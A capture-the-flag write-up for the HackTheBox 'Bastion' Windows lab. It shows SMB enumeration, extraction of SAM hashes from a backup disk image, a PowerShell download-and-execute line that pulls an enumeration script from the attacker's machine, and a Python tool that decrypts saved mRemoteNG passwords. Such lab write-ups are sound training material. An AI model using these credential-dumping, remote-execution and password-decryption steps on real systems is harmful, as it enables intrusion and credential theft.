Post

HackTheBox Bastion Writeup

Master the basics of Windows security with the Bastion Capture The Flag (CTF) challenge, an easy-level exercise that covers SMB enumeration, virtual machine backup extraction, password cracking, and privilege escalation. This writeup provides clear guidance on essential techniques to help you build foundational cybersecurity skills.

Add Hosts

Edit the /etc/hosts file and add the following entries:

1
10.10.10.134 bastion.htb

This ensures that your system can resolve the domain names bastion.htb to the correct IP address 10.10.10.134.

Script to add hosts automatically

1
2
3
ip="10.10.10.134"
domain="bastion.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

nmap -sCV bastion.htb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 01:26 CEST
Nmap scan report for bastion.htb (10.10.10.134)
Host is up (0.051s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE      VERSION
22/tcp   open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-09-14T01:26:46+02:00
|_clock-skew: mean: -39m58s, deviation: 1h09m14s, median: 0s
| smb2-time: 
|   date: 2024-09-13T23:26:43
|_  start_date: 2024-09-13T23:24:19
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Enumerating Samba Shares

Check available SMB shares:

1
smbclient -L //bastion.htb

Discovered Shares

1
2
3
4
5
6
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
Backups         Disk      <-- Interesting share
C$              Disk      Default share
IPC$            IPC       Remote IPC

Mount Samba Share

Mount the Backups share to a local directory:

1
2
sudo mkdir -p /mnt/smb
sudo mount -t cifs -o username=guest,ro //bastion.htb/Backups /mnt/smb

Extract the Virtual Machine Backup

List the files inside the backup:

1
7z l '/mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd'

Mount the VHD file as a partition:

it uses libguestfs install it with your distro pkg manager

1
2
sudo mkdir -p /mnt/vhd
sudo guestmount --add '/mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd' --inspector --ro /mnt/vhd

Extract Administrator Password

Copy the SAM and SYSTEM files to extract the hashes:

1
2
3
4
5
config="/mnt/vhd/Windows/System32/config"
sudo cp "$config"/SAM ./
sudo cp "$config"SYSTEM ./
secretsdump.py -sam SAM -system SYSTEM local
rm -rf SYSTEM SAM secret.txt

Extracted Hashes

Use crackstation.net to crack the hashes. You will find the hash for user L4mpje.

Use the Recovered Credentials

Pass the hash and list shares:

1
2
echo "Hash? -> " ; read HASH
smbmap -u L4mpje -p $HASH -H bastion.htb

Log in via SSH:

1
2
3
4
ssh l4mpje@bastion.htb
net user l4mpje
net user administrator
type Desktop\user.txt

System Information Gathering with JAWS

Use JAWS to enumerate potential privilege escalation vectors:

1
2
3
4
wget https://raw.githubusercontent.com/411Hall/JAWS/master/jaws-enum.ps1
echo "In the victim PC run -> powershell IEX(New-Object Net.WebClient).downloadString('http://"$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')/jaws-enum.ps1"') "
sudo python3 -m http.server 80
rm -rf jaws-enum.ps1

Extract credentials from mRemoteNG configuration:

1
scp l4mpje@bastion.htb:"C:/Users/L4mpje/AppData/Roaming/mRemoteNG/confCons.xml" ./

Decrypt mRemoteNG Passwords

Use the repl to make life easier

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/bin/python
import re, base64, hashlib, os, sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt(mode, data, password):
    if mode == 'CBC':
        return cbc_decrypt(data, password)
    elif mode == 'GCM':
        return gcm_decrypt(data, password)
    raise ValueError(f'Unknown mode {mode}')

def gcm_decrypt(data, password):
    try:
        salt, nonce, ciphertext, tag = data[:16], data[16:32], data[32:-16], data[-16:]
        key = hashlib.pbkdf2_hmac('sha1', password, salt, 1000, dklen=32)
        cipher = AES.new(key, AES.MODE_GCM, nonce)
        cipher.update(salt)
        return cipher.decrypt_and_verify(ciphertext, tag).decode()
    except ValueError:
        print('Error: Invalid master password or data integrity check failed.')
        sys.exit(1)

def cbc_decrypt(data, password):
    try:
        iv, ciphertext = data[:16], data[16:]
        key = hashlib.md5(password).digest()
        cipher = AES.new(key, AES.MODE_CBC, iv)
        return unpad(cipher.decrypt(ciphertext), AES.block_size).decode()
    except ValueError:
        print('Error: Decryption failed, possibly due to incorrect padding or corrupted data.')
        sys.exit(1)

def parse_and_decrypt(conf, password):
    try:
        mode_match = re.search('BlockCipherMode="([^"]*)"', conf)
        mode = mode_match.group(1) if mode_match else 'CBC'
        if mode not in ['CBC', 'GCM']:
            print(f'Unknown mode {mode}.')
            sys.exit(1)
        if 'FullFileEncryption="true"' in conf:
            encrypted_data = base64.b64decode(re.search('<.*>(.+)</mrng:Connections>', conf).group(1))
            conf = decrypt(mode, encrypted_data, password.encode())
        nodes = re.findall('<Node .+?>', conf)
        for node in nodes:
            name = re.search(' Name="([^"]*)"', node).group(1)
            username = re.search(' Username="([^"]*)"', node).group(1)
            hostname = re.search(' Hostname="([^"]*)"', node).group(1)
            password_data = re.search(' Password="([^"]*)"', node)
            decrypted_password = decrypt(mode, base64.b64decode(password_data.group(1)), password.encode()) if password_data else ""
            print(f'Name: {name}, Hostname: {hostname}, Username: {username}, Password: {decrypted_password}')
    except (AttributeError, TypeError, ValueError) as e:
        print(f"Error processing XML: {e}")
        sys.exit(1)

def main():
    try:
        file_path = 'confCons.xml'
        if os.path.isfile(file_path):
            with open(file_path, 'r') as file:
                config_content = file.read()
            print("Found confCons.xml in the current directory.")
        else:
            config_content = input("Enter mRemoteNG config XML: ")
        parse_and_decrypt(config_content, 'mR3m')
    except KeyboardInterrupt:
        print("\nProcess interrupted by user. Exiting gracefully.")
        sys.exit(0)
    except Exception as e:
        print(f"Unexpected error: {e}")
        sys.exit(1)

if __name__ == "__main__":
main()

Obtain Root Access

Log in as Administrator:

1
2
ssh administrator@bastion.htb
type Desktop\root.txt

Cleanup

Unmount directories and remove temporary files:

1
2
3
sudo umount /mnt/smb
sudo umount /mnt/vhd
sudo rm -rf /mnt/smb /mnt/vhd confCons.xml
This post is licensed under CC BY 4.0 by the author.